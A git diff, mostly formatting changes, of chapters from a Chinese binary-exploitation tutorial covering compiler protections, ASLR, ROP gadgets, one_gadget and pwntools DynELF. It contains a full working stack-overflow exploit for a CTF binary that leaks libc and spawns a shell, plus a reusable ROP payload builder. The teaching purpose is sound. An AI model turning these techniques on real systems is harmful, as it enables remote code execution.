Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 2 2 a.out ``` + 开启优化 `-O2` 后,编译没有检测出任何问题,checksec 后 FORTIFY 为 No。当配合 `-D_FORTIFY_SOURCE=2`(也可以 `=1`)使用时,提示存在溢出问题,checksec 后 FORTIFY 为 Yes。 -#### NX +### NX + No-eXecute,表示不可执行,其原理是将数据所在的内存页标识为不可执行,如果程序产生溢出转入执行 shellcode 时,CPU 会抛出异常。 在 Linux 中,当装载器将程序装载进内存空间后,将程序的 .text 段标记为可执行,而其余的数据段(.data、.bss 等)以及栈、堆均为不可执行。因此,传统利用方式中通过修改 GOT 来执行 shellcode 的方式不再可行。 但这种保护并不能阻止攻击者通过代码重用来进行攻击(ret2libc)。 -#### PIE +### PIE + PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。ASLR 将程序运行时的堆栈以及共享库的加载地址随机化,而 PIE 在编译时将程序编译为位置无关、即程序运行时各个段加载的虚拟地址在装载时确定。开启 PIE 时,编译生成的是动态库文件(Shared object)文件,而关闭 PIE 后生成可执行文件(Executable)。 我们通过实际例子来探索一下 PIE 和 ASLR: + ```c #include void main() { - printf("%p\n", main); + printf("%p\n", main); } ``` + ```text $ gcc -m32 -pie random.c -o open-pie $ readelf -h open-pie @@ -205,9 +222,11 @@ ELF Header: Number of section headers: 30 Section header string table index: 29 ``` + 可以看到两者的不同在 `Type` 和 `Entry point address`。 首先我们关闭 ASLR,使用 `-pie` 进行编译: + ```text # echo 0 > /proc/sys/kernel/randomize_va_space # gcc -m32 -pie random.c -o a.out @@ -220,18 +239,22 @@ Partial RELRO No canary found NX enabled PIE enabled No RPATH No RU # ./a.out 0x5655553d ``` + 我们虽然开启了 `-pie`,但是 ASLR 被关闭,入口地址不变。 + ```text # ldd a.out - linux-gate.so.1 (0xf7fd7000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) - /lib/ld-linux.so.2 (0xf7fd9000) + linux-gate.so.1 (0xf7fd7000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) + /lib/ld-linux.so.2 (0xf7fd9000) # ldd a.out - linux-gate.so.1 (0xf7fd7000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) - /lib/ld-linux.so.2 (0xf7fd9000) + linux-gate.so.1 (0xf7fd7000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) + /lib/ld-linux.so.2 (0xf7fd9000) ``` + 可以看出动态链接库地址也不变。然后我们开启 ASLR: + ```text # echo 2 > /proc/sys/kernel/randomize_va_space # ./a.out @@ -239,38 +262,42 @@ Partial RELRO No canary found NX enabled PIE enabled No RPATH No RU # ./a.out 0x5659753d # ldd a.out - linux-gate.so.1 (0xf7727000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf7529000) - /lib/ld-linux.so.2 (0xf7729000) + linux-gate.so.1 (0xf7727000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf7529000) + /lib/ld-linux.so.2 (0xf7729000) # ldd a.out - linux-gate.so.1 (0xf77d6000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf75d8000) - /lib/ld-linux.so.2 (0xf77d8000) + linux-gate.so.1 (0xf77d6000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf75d8000) + /lib/ld-linux.so.2 (0xf77d8000) ``` + 入口地址和动态链接库地址都变得随机。 接下来关闭 ASLR,并使用 `-no-pie` 进行编译: + ```text # echo 0 > /proc/sys/kernel/randomize_va_space # gcc -m32 -no-pie random.c -o b.out # checksec --file b.out -RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE -Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 b.out +RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE +Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 b.out # ./b.out 0x8048406 # ./b.out 0x8048406 # ldd b.out - linux-gate.so.1 (0xf7fd7000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) - /lib/ld-linux.so.2 (0xf7fd9000) + linux-gate.so.1 (0xf7fd7000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) + /lib/ld-linux.so.2 (0xf7fd9000) # ldd b.out - linux-gate.so.1 (0xf7fd7000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) - /lib/ld-linux.so.2 (0xf7fd9000) + linux-gate.so.1 (0xf7fd7000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf7dd9000) + /lib/ld-linux.so.2 (0xf7fd9000) ``` + 入口地址和动态库都是固定的。下面开启 ASLR: + ```text # echo 2 > /proc/sys/kernel/randomize_va_space # ./b.out @@ -278,14 +305,15 @@ Partial RELRO No canary found NX enabled No PIE No RPATH No RU # ./b.out 0x8048406 # ldd b.out - linux-gate.so.1 (0xf7797000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf7599000) - /lib/ld-linux.so.2 (0xf7799000) + linux-gate.so.1 (0xf7797000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf7599000) + /lib/ld-linux.so.2 (0xf7799000) # ldd b.out - linux-gate.so.1 (0xf770a000) - libc.so.6 => /usr/lib32/libc.so.6 (0xf750c000) - /lib/ld-linux.so.2 (0xf770c000) + linux-gate.so.1 (0xf770a000) + libc.so.6 => /usr/lib32/libc.so.6 (0xf750c000) + /lib/ld-linux.so.2 (0xf770c000) ``` + 入口地址依然固定,但是动态库变为随机。 所以在分析一个 PIE 开启的二进制文件时,只需要关闭 ASLR,即可使 PIE 和 ASLR 都失效。 @@ -298,29 +326,34 @@ Partial RELRO No canary found NX enabled No PIE No RPATH No RU > >完全开启(在部分开启的基础上增加 heap的随机化:`# echo 2 > /proc/sys/kernel/randomize_va_space` -#### RELRO +### RELRO + RELRO(ReLocation Read-Only)设置符号重定向表为只读或在程序启动时就解析并绑定所有动态符号,从而减少对 GOT(Global Offset Table)的攻击。 RELOR 有两种形式: + - Partial RELRO:一些段(包括 `.dynamic`)在初始化后将会被标记为只读。 - Full RELRO:除了 Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,`.got.plt` 段会被完全初始化为目标函数的最终地址,并被标记为只读。另外 `link_map` 和 `_dl_runtime_resolve` 的地址也不会被装入。 - ## 编译参数 + 各种安全技术的编译参数如下: -安全技术 | 完全开启 | 部分开启 | 关闭 ---- | --- | --- | --- -Canary | -fstack-protector-all | -fstack-protector | -fno-stack-protector -NX | -z noexecstack | | -z execstack -PIE | -pie | | -no-pie -RELRO | -z now | -z lazy | -z norelro +| 安全技术 | 完全开启 | 部分开启 | 关闭 | +| --- | --- | --- | --- | +| Canary | -fstack-protector-all | -fstack-protector | -fno-stack-protector | +| NX | -z noexecstack | | -z execstack | +| PIE | -pie | | -no-pie | +| RELRO | -z now | -z lazy | -z norelro | 关闭所有保护: + ```text gcc hello.c -o hello -fno-stack-protector -z execstack -no-pie -z norelro ``` + 开启所有保护: + ```text gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now ``` @@ -329,18 +362,20 @@ gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now - `-D_FORTIFY_SOURCE=1`:仅在编译时检测溢出 - `-D_FORTIFY_SOURCE=2`:在编译时和运行时检测溢出 - ## 保护机制检测 + 有许多工具可以检测二进制文件所使用的编译器安全技术。下面介绍常用的几种: -#### checksec +### checksec + ```text $ checksec --file /bin/ls RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 5 15 /bin/ls ``` -#### peda 自带的 checksec +### peda 自带的 checksec + ```text $ gdb /bin/ls gdb-peda$ checksec @@ -351,8 +386,8 @@ PIE : disabled RELRO : Partial ``` - ## 地址空间布局随机化 + 最后再说一下地址空间布局随机化(ASLR),该技术虽然不是由 GCC 编译时提供的,但对 PIE 还是有影响。该技术旨在将程序的内存布局随机化,使得攻击者不能轻易地得到数据区的地址来构造 payload。由于程序的堆栈分配与共享库的装载都是在运行时进行,系统在程序每次执行时,随机地分配程序堆栈的地址以及共享库装载的地址。使得攻击者无法预测自己写入的数据区的虚拟地址。 针对该保护机制的攻击,往往是通过信息泄漏来实现。由于同一模块中的所有代码和数据的相对偏移是固定的,攻击者只要泄漏出某个模块中的任一代码指针或数据指针,即可通过计算得到此模块中任意代码或数据的地址。 diff --git a/doc/4.5_defense_rop.md b/doc/4.5_defense_rop.md index 9542777..a8db968 100644 --- a/doc/4.5_defense_rop.md +++ b/doc/4.5_defense_rop.md @@ -4,15 +4,17 @@ - [没有 return 的 ROP](#没有-return-的-rop) - [参考资料](#参考资料) - ## 早期的防御技术 + 前面我们已经学过各种 ROP 技术,但同时很多防御技术也被提出来,这一节我们就来看一下这些技术。 我们知道正常程序的指令流执行和 ROP 的指令流执行有很大不同,至少有下面两点: + - ROP 执行流会包含了很多 return 指令,而且之间只间隔了几条其他指令 - ROP 利用 return 指令来 unwind 堆栈,却没有对应的 call 指令 以上面两点差异作为基础,研究人员提出了很多 ROP 检测和防御技术: + - 针对第一点差异,可以检测程序执行中是否有频繁 return 的指令流,作为报警的依据 - 针对第二点差异,可以通过 call 和 return 指令来查找正常程序中通常都存在的后进先出栈里维护的不变量,判断其是否异常 - 还有更极端的,在编译器层面重写二进制文件,消除里面的 return 指令 @@ -20,29 +22,36 @@ 所以其实这些早期的防御技术都默认了一个前提,即 ROP 中必定存在 return 指令。 另外对于重写二进制文件消除 return 指令的技术,根据二进制偏移也可能会得到攻击者需要的非预期指令,比如下面这段指令: -``` + +```text b8 13 00 00 00 mov $0x13, %eax e9 c3 f8 ff ff jmp 3aae9 ``` + 偏移两个十六进制得到下面这样: -``` + +```text 00 00 add %al, (%eax) 00 e9 add %ch, %cl c3 ret ``` + 最终还是出现了 return 指令。 - ## 没有 return 的 ROP + 后来又有人提出了不依赖于 return 指令的 ROP,使得早期的防御技术完全失效。return 指令的作用主要有两个:第一通过间接跳转改变执行流,第二是更新寄存器状态。在 x86 和 ARM 中都存在一些指令序列,也能够完成这些工作,它们首先更新全局状态(如栈指针),然后根据更新后的状态加载下一条指令序列的地址,最后跳转过去执行(把它叫做 update-load-branch 指令序列)。这样就避免的 return 指令的使用。 就像下面这样,`x` 代表任意的通用寄存器: -``` + +```text pop x jmp *x ``` + `r6` 通用寄存器里是更新后的状态: -``` + +```text adds r6, #4 ldr r5, [r6, #124] blx r5 @@ -50,9 +59,9 @@ blx r5 由于 update-load-branch 指令序列相比 return 指令更加稀少,所以需要把它作为 trampoline 重复利用。在构造 ROP 链时,选择以 trampoline 为目标的间接跳转指令结束的指令序列。当一个 gadget 执行结束后,跳转到 trampoline,trampoline 更新程序全局状态,并将程序控制交给下一个 gadget,这样就形成了 ROP 链。 -![](../pic/8.2_rop_without_ret.png) - +![img](../pic/8.2_rop_without_ret.png) ## 参考资料 + - [Return-Oriented Programming without Returns](https://www2.cs.uic.edu/~s/papers/noret_ccs2010/noret_ccs2010.pdf) - [Analysis of Defenses against Return Oriented Programming](http://www.eit.lth.se/sprapport.php?uid=829) diff --git a/doc/4.6_one-gadget_rce.md b/doc/4.6_one-gadget_rce.md index 1afb8f7..c6a24cd 100644 --- a/doc/4.6_one-gadget_rce.md +++ b/doc/4.6_one-gadget_rce.md @@ -1,16 +1,17 @@ # 4.6 one-gadget RCE - one-gadget RCE 是在 libc 中存在的一些执行 `execve('/bin/sh', NULL, NULL)` 的片段。当我们知道 libc 的版本,并且可以通过信息泄露得到 libc 的基址,则可以通过控制 EIP 执行该 gadget 来获得 shell。这个方法的优点是不需要控制调用函数的参数,在 64 位程序中,也就是 rdi、rsi、rdx 等寄存器的值。 可以使用工具 [one_gadget](https://github.com/david942j/one_gadget) 很方便地查找 one-gadget: -``` + +```text $ sudo gem install one_gadget ``` -``` -$ file /usr/lib/libc-2.26.so + +```text +$ file /usr/lib/libc-2.26.so /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=466056d0995495995ad1a1fe696c9dc7fb3d421b, for GNU/Linux 3.2.0, not stripped -$ one_gadget -f /usr/lib/libc-2.26.so +$ one_gadget -f /usr/lib/libc-2.26.so 0x41e92 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL @@ -23,8 +24,10 @@ constraints: constraints: [rsp+0x60] == NULL ``` + 经过验证,第一个似乎不可用,另外两个如下,通常,我们都使用 `do_system` 函数里的那个: -``` + +```text [0x00021080]> pd 7 @ 0x41ee7 | 0x00041ee7 488b056aff36. mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0 | 0x00041eee 488d3d409313. lea rdi, str._bin_sh ; 0x17b235 ; "/bin/sh" @@ -40,11 +43,13 @@ constraints: | 0x000e2c33 488b10 mov rdx, qword [rax] | 0x000e2c36 67e8a419feff call sym.execve ``` + 当然,你也可以通过 build ID 来查找对应 libc 里的 one-gadget。 -``` + +```text $ one-gadget -b 466056d0995495995ad1a1fe696c9dc7fb3d421b ``` - ## 参考资料 + - [Pwning (sometimes) with style](http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf) diff --git a/doc/4.7_common_gadget.md b/doc/4.7_common_gadget.md index bcb4977..f1876c0 100644 --- a/doc/4.7_common_gadget.md +++ b/doc/4.7_common_gadget.md @@ -1,16 +1,19 @@ # 通用 gadget - ## __libc_csu_init() + 我们知道在程序编译的过程中,会自动加入一些通用函数做初始化的工作,这些初始化函数都是相同的,所以我们可以考虑在这些函数中找到一些通用的 gadget,在 x64 程序中,就存在这样的 gadget。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,我们所找的 gadget 自然也是针对这些寄存器进行操作的。 函数 `__libc_csu_init()` 用于对 libc 进行初始化,只要程序调用了 libc,就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下: -``` -$ file /usr/lib/libc-2.26.so + +```text +$ file /usr/lib/libc-2.26.so /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped ``` + 下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 `/r` 参数可以打印出原始指令的十六进制: -``` + +```text gdb-peda$ disassemble /r __libc_csu_init Dump of assembler code for function __libc_csu_init: 0x00000000004007d0 <+0>: 41 57 push r15 @@ -46,11 +49,13 @@ Dump of assembler code for function __libc_csu_init: 0x000000000040082e <+94>: 41 5d pop r13 0x0000000000400830 <+96>: 41 5e pop r14 0x0000000000400832 <+98>: 41 5f pop r15 - 0x0000000000400834 <+100>: c3 ret + 0x0000000000400834 <+100>: c3 ret End of assembler dump. ``` + 从中提取出两段(必须以ret结尾),把它们叫做 part1 和 part2: -``` + +```text 0x000000000040082a <+90>: 5b pop rbx 0x000000000040082b <+91>: 5d pop rbp 0x000000000040082c <+92>: 41 5c pop r12 @@ -59,7 +64,8 @@ End of assembler dump. 0x0000000000400832 <+98>: 41 5f pop r15 0x0000000000400834 <+100>: c3 ret ``` -``` + +```text 0x0000000000400810 <+64>: 4c 89 fa mov rdx,r15 0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14 0x0000000000400816 <+70>: 44 89 ef mov edi,r13d @@ -76,10 +82,12 @@ End of assembler dump. 0x0000000000400832 <+98>: 41 5f pop r15 0x0000000000400834 <+100>: c3 ret ``` + part1 中连续六个 pop,我们可以通过布置栈来设置这些寄存器,然后进入 part2,前三条语句(r15->rdx、r14->rsi、r13d->edi)分别给三个参数寄存器赋值,然后调用函数,这里需要注意的是第三句是 r13d(r13低32位)给 edi(rdi低32位)赋值,即使这样我们还是可以做很多操作了。 另外为了让程序在调用函数返回后还能继续执行,我们需要像下面这样进行构造: -``` + +```text pop rbx #必须为0 pop rbp #必须为1 pop r12 #函数地址 @@ -90,6 +98,7 @@ ret #跳转到part2 ``` 下面附上一个可直接调用的函数: + ```python def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0): payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret @@ -105,27 +114,31 @@ def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0): ``` 上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget,比如说指定一个位移点再反编译: -``` + +```text gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835 Dump of assembler code from 0x400831 to 0x400835: 0x0000000000400831 <__libc_csu_init+97>: 5e pop rsi 0x0000000000400832 <__libc_csu_init+98>: 41 5f pop r15 - 0x0000000000400834 <__libc_csu_init+100>: c3 ret + 0x0000000000400834 <__libc_csu_init+100>: c3 ret End of assembler dump. ``` -``` + +```text gdb-peda$ disassemble /r 0x0000000000400833,0x0000000000400835 Dump of assembler code from 0x400833 to 0x400835: 0x0000000000400833 <__libc_csu_init+99>: 5f pop rdi - 0x0000000000400834 <__libc_csu_init+100>: c3 ret + 0x0000000000400834 <__libc_csu_init+100>: c3 ret End of assembler dump. ``` + `5e` 和 `5f` 分别是 `pop rsi` 和 `pop rdi` 的字节码,于是我们可以通过这种方法轻易地控制 `rsi` 和 `rdi`。 在 6.1.1 pwn HCTF2016 brop 的 exp 中,我们使用了偏移后的 `pop rdi; ret`,而没有用 `com_gadget()` 函数,感兴趣的童鞋可以尝试使用它重写 exp。 除了上面介绍的 `__libc_csu_init()`,还可以到下面的函数中找一找: -``` + +```text _init _start call_gmon_start @@ -137,8 +150,9 @@ __libc_csu_init __libc_csu_fini _fini ``` + 总之,多试一试总不会错。 - ## 参考资料 + - [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP) diff --git a/doc/4.8_dynelf.md b/doc/4.8_dynelf.md index ef912fa..c951040 100644 --- a/doc/4.8_dynelf.md +++ b/doc/4.8_dynelf.md @@ -5,11 +5,12 @@ - [DynELF 实例](#dynelf-实例) - [参考资料](#参考资料) - ## DynELF 简介 + 在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。 官方文档里给出了下面的例子: + ```python # Assume a process or remote connection p = process('./pwnme') @@ -48,18 +49,22 @@ assert d.lookup('system', 'libc') == system d = DynELF(leak, libc + 0x1234) assert d.lookup('system') == system ``` + 可以看到,为了使用 DynELF,首先需要有一个 `leak(address)` 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 `d = DynELF(leak, main)`,该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。 类 DynELF 的初始化方法如下: + ```python def __init__(self, leak, pointer=None, elf=None, libcdb=True): ``` + - `leak`:leak 函数,它是一个 `pwnlib.memleak.MemLeak` 类的实例 - `pointer`:一个指向 libc 内任意地址的指针 - `elf`:elf 文件 - `libcdb`:libcdb 是一个作者收集的 libc 库,默认启用以加快搜索。 导出的类方法如下: + - `base()`:解析所有已加载库的基地址 - `static find_base(leak, ptr)`:提供一个 `pwnlib.memleak.MemLeak`对象和一个指向库内的指针,然后找到其基地址 - `heap()`:通过 `__curbrk`(链接器导出符号,指向当前brk)找到堆的起始地址 @@ -71,11 +76,12 @@ def __init__(self, leak, pointer=None, elf=None, libcdb=True): - `libc`:泄露 build id,下载该文件并加载 - `link_map`:指向运行时 link_map 对象的指针 - ## DynELF 原理 + 文档中大概说了下其实现的细节,配合参考资料的文章,大概就可以做到自己实现一个。 DynELF 使用了两种技术: + - 解析函数 - ELF 文件会从如 libc.so 库中导入符号,有一系列的表给出了导出符号名、导出符号地址和导出符号的哈希值。通过对某个符号名做哈希,可以定位到哈希表中,然后哈希表的位置又提供了字符串表(strtab)和符号表(symtab)的索引。 - 假设我们有了 libc.so 的基地址,解析 printf 地址的方法是定位 symtab、strtab 和 hash 表。对字符串"printf"做哈希,然后定位到哈希表中的某一条,然后从 symtab 中得到其在 libc.so 的偏移。 @@ -85,37 +91,46 @@ DynELF 使用了两种技术: - 在 non-RELOAD 的二进制文件中,该指针在 `.got.plt` 区域中。这是通过 `DT_PLTGOT` 找到的。 - 在所有二进制文件中,可以在 `DT_DEBUG` 描述的区域中找到该指针,甚至在 stripped 之后也不例外。 - ## DynELF 实例 + 在 libc 中,我们通常使用 `write`、`puts`、`printf` 来打印指定内存的数据。 -#### write +### write + ```C #include ssize_t write(int fd, const void *buf, size_t count); ``` + write 函数用于向文件描述符中写入数据,三个参数分别是文件描述符,一个指针指向的数据和写入数据的长度。该函数的优点是可以读取任意长度的内存数据,即打印数据的长度只由 count 控制,缺点则是需要传递 3 个参数。32 位程序通过栈传递参数,直接将参数布置在栈上就可以了,而 64 位程序首先使用寄存器传递参数,所以我们通常使用通用 gadget(参见章节4.7) 来为 write 函数传递参数。 例子是 xdctf2015-pwn200,[文件地址](../src/writeup/6.2_pwn_xdctf2015_pwn200)。在这个程序中也只有 write 可以利用: -``` + +```text $ rabin2 -R pwn200 ... vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write ``` + 另外我们还需要 read 函数用于读入 '/bin/sh` 到 .bss 段中: -``` + +```text $ readelf -S pwn200 | grep .bss [25] .bss NOBITS 0804a020 00101c 00002c 00 WA 0 0 32 ``` + 栈溢出漏洞很明显,偏移为 112: -``` + +```text gdb-peda$ pattern_offset 0x41384141 1094205761 found at offset: 112 ``` + 在 r2 中对程序进行分析,发现一个漏洞函数,地址为 `0x08048484`: -``` + +```text [0x080483d0]> pdf @ sub.setbuf_484 / (fcn) sub.setbuf_484 58 | sub.setbuf_484 (); @@ -139,7 +154,9 @@ gdb-peda$ pattern_offset 0x41384141 | 0x080484bc c9 leave \ 0x080484bd c3 ret ``` + 于是我们构造 leak 函数如下,即 `write(1, addr, 4)`: + ```python def leak(addr): payload = "A" * 112 @@ -157,13 +174,17 @@ d = DynELF(leak, elf=elf) system_addr = d.lookup('system', 'libc') log.info("system address: 0x%x" % system_addr) ``` + 注意我们需要一个 pppr 的 gadget 来平衡栈: -``` + +```text $ ropgadget --binary pwn200 --only "pop|ret" ... 0x0804856c : pop ebx ; pop edi ; pop ebp ; ret ``` + 得到了 system 的地址,就可以利用 read 函数读入 "/bin/sh",从而得到 shell,完整的 exp 如下: + ```python from pwn import * @@ -212,17 +233,21 @@ io.send(payload) io.send('/bin/sh\x00') io.interactive() ``` + 该题除了这里使用 DynELF 的方法,在后面章节 6.3 中,还会介绍一种使用 ret2dl-resolve 的解法。 -#### puts +### puts + ```C #include int puts(const char *s); ``` + puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 `\x00`,所以它输出的数据长度是不容易控制的,我们无法预料到零字符会出现在哪里,截止后,puts 还会自动在末尾加上换行符 `\n`。该函数的优点是在 64 位程序中也可以很方便地使用。缺点是会受到零字符截断的影响,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印出了空字符串,则要手动赋值`\x00`,包括我们在 dump 内存的时候,也常常受这个问题的困扰,可以参考章节 6.1 dump 内存的部分。 所以我们常常需要这样做: + ```python data = io.recv()[:-1] # 去掉末尾\n if not data: @@ -230,18 +255,21 @@ if not data: else: data = data[:4] ``` + 这只是个例子,还是要具体情况具体分析。 -#### printf +### printf + ```C #include int printf(const char *format, ...); ``` + 该函数常用于在格式化字符串中泄露内存,和 puts 差不多,也受到 `\x00` 的影响,只是没有在末尾自动添加 `\n`。而且还有个问题要注意,为了防止 printf 的 `%s` 被 `\x00` 截断,需要对格式化字符串做一些改变。更详细的内容请参考章节 6.2。 - ## 参考资料 + - [Resolving remote functions using leaks](https://docs.pwntools.com/en/stable/dynelf.html) - [Finding Function's Load Address](http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html) - [借助DynELF实现无libc的漏洞利用小结](http://bobao.360.cn/learning/detail/3298.html) diff --git a/doc/4.9_shellcode.md b/doc/4.9_shellcode.md index 942c362..a69db38 100644 --- a/doc/4.9_shellcode.md +++ b/doc/4.9_shellcode.md @@ -2,7 +2,7 @@ - [参考资料](#参考资料) - ## 参考资料 -- http://shell-storm.org/shellcode/ -- https://www.exploit-db.com/shellcode/ + +- +- diff --git a/doc/5.0_vulnerability.md b/doc/5.0_vulnerability.md index 5a5afa7..0e7cc8e 100644 --- a/doc/5.0_vulnerability.md +++ b/doc/5.0_vulnerability.md @@ -7,8 +7,8 @@ - [运行系统漏洞分析](#运行系统漏洞分析) - [参考资料](#参考资料) - ## 软件漏洞分析的定义 + - 广义漏洞分析:指的是围绕漏洞所进行的所有工作,包括: - 漏洞挖掘:使用程序分析或软件测试技术发现软件中可能存在的未知的安全漏洞 - 漏洞检测:又称漏洞扫描,基于漏洞特征库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,以发现可利用的已知漏洞 @@ -21,7 +21,6 @@ - 二进制漏洞分析:包括静态分析和动态分析两种 - 运行系统漏洞分析:分析对象是已经实际部署的软件系统,通过信息收集、漏洞检测和漏洞确认三个基本步骤堆软件系统进行漏洞分析 - ## 软件分析技术概述 | 技术类别 | 基本原理 | 分析阶段 | 分析对象 | 分析结果 | 优点 | 缺点 | @@ -31,7 +30,7 @@ | 二进制漏洞分析 | 通过对二进制可执行代码进行多层次(指令级、结构化、形式化等)、多角度(外部接口测试、内部结构测试等)的分析,发现软件程序中的安全缺陷和安全漏洞 | 软件设计、测试及维护 | 二进制代码 | 程序漏洞 | 不需要源代码,漏洞分析准确度较高,实用性广泛 | 缺乏上层的结构信息和类型信息,分析难度大 | | 运行系统漏洞分析 | 通过向运行系统输入特定构造的数据,然后对输出进行分析和验证的方式来检测运行系统的安全性 | 运行及维护 | 运行系统 | 配置缺陷 | 考虑由多种软件共同构成的运行系统的整体安全性,检测项全面,准确度高 | 对分析人员的经验依赖度较大 | -#### 源代码漏洞分析 +### 源代码漏洞分析 | 技术 | 基本原理 | 优点 | 缺点 | 典型工具 | | --- | --- | --- | --- | --- | @@ -41,7 +40,7 @@ | 模型检测 | 该技术主要通过将程序转换为逻辑公式,然后使用公理和规则来证明程序是否是一个合法的定理。如果程序合法,那么被测程序便满足先前所要求的安全特性 | 对路径的分析敏感,对于路径、状态的结果具有很高的精确性;检验并发错误能力较好,验证过程完全自动化 | 由于穷举了所有可能状态,增加了额外的开销;数据密集度较大时,分析难度很大;对时序、路径等属性,在边界处的近似处理难度大 | SLAM, MOPS, Bandera | | 定理证明 | 该方法主要是将原有程序验证中由研究人员手工完成的分析过程变为自动推导,其主要目的是证明程序计算中的特性 | 使用严格的推导证明控制检测的进行,误报率低 | 某些域上的公式推导缺乏适用性,对新漏洞扩展性不高 | ESC, Saturn | -#### 二进制漏洞分析 +### 二进制漏洞分析 | 技术 | 基本原理 | 应用范围 | 优点 | 缺点 | 典型工具 | | --- | --- | --- | --- | --- | --- | @@ -51,7 +50,7 @@ | 二进制代码比对 | 通过比对不同二进制文件,尤其是补丁文件与原文件之间的差异获取修改信息,从而定位并获取漏洞信息 | 需要有针对某一漏洞的补丁文件或是两个不同版本的同型软件 | 算法较为成熟,实现简单,有许多相关使用工具 | 由于需要补丁或新版软件的比对,所以该类技术仅能发现已被报告并修复的漏洞 | Bindiff, IDA Compare, eEye Binary Diffing Suite | | 智能灰盒测试 | 利用动态符号执行等技术,针对被测软件生成有针对性的测试用例,从而提高测试用例的覆盖能力 | 以文件、网络数据或是本地输入及其他对外部输入数据依赖较大的软件 | 可以有效提升测试用例的覆盖率,从而提高发现漏洞的可能性 | 由于算法和计算量等问题,在使用时容易出现路径爆炸和求解困顿等问题,对大型软件的测试效果不是很理想 | SAGE, SmartFuzz | -#### 运行系统漏洞分析 +### 运行系统漏洞分析 | 技术 | 基本原理 | 应用范围 | 优点 | 缺点 | 典型工具 | | --- | --- | --- | --- | --- | --- | @@ -61,6 +60,6 @@ | 数据验证测试 | 数据验证测试目的在于发现由于运行系统没有正确验证来自客户端或外界的数据而产生的安全漏洞。该类技术主要通过构造特定的输入以检测是否可以触发运行系统的某些特定类型安全漏洞 | 检测运行系统中授权、认证机制中潜在的漏洞 | 技术比较成熟,可用工具较多,操作简单 | 分析结果误报率比较高 | MVS, AppScan | | 数据安全性验证 | 数据安全性验证旨在发现威胁运行系统内部数据自身安全性的漏洞 | 检测运行系统中在存储和传输数据时潜在的漏洞 | 技术比较成熟,可用工具较多,操作简单 | 分析结果误报率比较高 | WireShark | - ## 参考资料 + - 《软件漏洞分析技术》 diff --git a/doc/5.1.1_afl_fuzzer.md b/doc/5.1.1_afl_fuzzer.md index 88ab081..74bea7b 100644 --- a/doc/5.1.1_afl_fuzzer.md +++ b/doc/5.1.1_afl_fuzzer.md @@ -4,13 +4,13 @@ - [安装](#安装) - [简单示例](#简单示例) - ## AFL 简介 + AFL 是一个强大的 Fuzzing 测试工具,由 lcamtuf 所开发。利用 AFL 在源码编译时进行插桩(简称编译时插桩),可以自动产生测试用例来探索二进制程序内部新的执行路径。与其他基于插桩技术的 fuzzer 相比,AFL 